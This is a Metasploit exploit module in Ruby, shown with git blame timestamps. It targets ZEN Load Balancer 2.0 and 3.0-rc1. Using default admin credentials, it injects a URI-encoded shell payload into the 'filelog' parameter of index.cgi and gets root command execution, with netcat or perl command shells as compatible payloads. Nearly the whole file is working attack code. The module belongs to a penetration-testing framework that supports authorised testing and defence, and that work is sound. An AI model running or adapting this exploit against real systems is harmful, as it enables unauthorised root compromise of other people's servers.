metasploit-framework/modules/exploits/linux/http/zen_load_balancer_exec.rb

121 lines
3.6 KiB
Ruby
Raw Normal View History

2012-09-21 07:55:20 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-21 07:55:20 +00:00
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ZEN Load Balancer Filelog Command Execution",
'Description' => %q{
This module exploits a vulnerability in ZEN Load Balancer
version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
to execute arbitrary code under the context of the 'root' user.
The 'content2-2.cgi' file uses user controlled data from the 'filelog'
parameter within backticks.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
['OSVDB', '85654'],
['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
],
'DefaultOptions' =>
{
2015-09-01 08:43:45 +00:00
'EXITFUNC' => 'thread'
2013-08-30 21:28:54 +00:00
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat netcat-e perl',
2013-08-30 21:28:54 +00:00
}
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => "Sep 14 2012",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
2016-05-27 23:37:04 +00:00
OptString.new('HttpUsername', [true, 'The username for the application', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the application', 'admin'])
2013-08-30 21:28:54 +00:00
], self.class)
end
def check
# retrieve software version from config file
vprint_status("Sending check")
2013-08-30 21:28:54 +00:00
begin
res = send_request_cgi({
'uri' => '/config/global.conf'
})
2014-01-21 23:14:55 +00:00
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
2013-08-30 21:28:54 +00:00
return Exploit::CheckCode::Appears
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Connection failed")
2014-01-21 23:14:55 +00:00
return Exploit::CheckCode::Unknown
2013-08-30 21:28:54 +00:00
end
2014-01-21 23:14:55 +00:00
return Exploit::CheckCode::Safe
2013-08-30 21:28:54 +00:00
end
def exploit
2016-05-27 23:37:04 +00:00
user = datastore['HttpUsername']
pass = datastore['HttpPassword']
2013-08-30 21:28:54 +00:00
cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
lines = rand(100) + 1
# send payload
print_status("Sending payload (#{payload.encoded.length} bytes)")
2013-08-30 21:28:54 +00:00
begin
res = send_request_cgi({
2014-05-25 17:29:39 +00:00
'uri' => '/index.cgi',
'authorization' => basic_auth(user, pass),
'encode_params' => false,
2014-05-25 17:29:39 +00:00
'vars_get' => {
'nlines' => lines,
'action' => 'See logs',
'id' => '2-2',
'filelog' => cmd
}
2013-08-30 21:28:54 +00:00
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, 'Connection failed')
rescue
fail_with(Failure::Unknown, 'Sending payload failed')
end
if res and res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed')
end
end
2012-09-21 07:55:20 +00:00
end